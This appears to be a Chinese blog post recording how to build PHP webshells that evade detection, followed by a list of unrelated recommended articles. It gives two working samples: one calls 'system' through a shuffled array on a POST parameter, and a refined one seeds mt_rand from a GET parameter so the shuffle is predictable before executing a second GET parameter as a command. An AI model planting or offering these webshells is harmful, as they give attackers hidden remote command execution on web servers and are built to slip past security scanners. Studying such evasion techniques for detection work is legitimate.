记一次学习--webshell绕过(利用清洗函数)

目录

样本

样本修改


样本

php 复制代码
<?php
$a = array("t", "system");
shuffle($a);
$a[0]($_POST[1]);

通过 shuffle 函数打乱数组,然后通过$a[0]取出第一个元素,打乱后第一个元素可能是t也可能是system。然后再进行POST传参进行命令执行。

这里抓包可以正常执行

样本修改

对于shuffle函数来说,他的随机是伪随机,我们可以通过对其代码的分析然后预测数组中元素打乱的规律。对于sheuffle来说底层调用的是mt_rand来生成随机值,以次控制打乱的数组中的元素的顺序。然后对于mt_rand来说当他的种子定好他的随机值就不会发生改变了。

php 复制代码
<?php
$arr = array("t","a","s","system");
function shift(&$arr){
mt_srand($_GET[0]);
shuffle($arr);
}
shift($arr);
$arr[2]($_GET[1]);
相关推荐
grd42 分钟前
Electron for OpenHarmony 实战:Pagination 分页组件实现
python·学习
W|J5 分钟前
ES 学习笔记
笔记·学习·elasticsearch
山土成旧客11 分钟前
【Python学习打卡-Day35】从黑盒到“玻璃盒”:掌握PyTorch模型可视化、进度条与推理
pytorch·python·学习
@zulnger12 分钟前
python 学习笔记(循环)
笔记·python·学习
Shannon Law16 分钟前
【免费下载】关于机器学习和深度学习的书籍
学习
Master_oid16 分钟前
机器学习28:增强式学习(Deep Reinforcement Learn)③
人工智能·学习·机器学习
IT观测21 分钟前
选择可信数据空间安全服务商:源堡科技以风险管控能力破局
大数据·科技·安全
我命由我1234523 分钟前
开发中的英语积累 P25:Axis、Stroke、Corner、Interceptor、Declared、Internal
经验分享·笔记·学习·职场和发展·求职招聘·职场发展·学习方法
扑火的小飞蛾34 分钟前
【Ansible学习笔记01】 批量执行 shell 命令
笔记·学习·ansible
d111111111d39 分钟前
STM32 USART接收中断:如何判断数据接收完成?
stm32·单片机·嵌入式硬件·学习·模块测试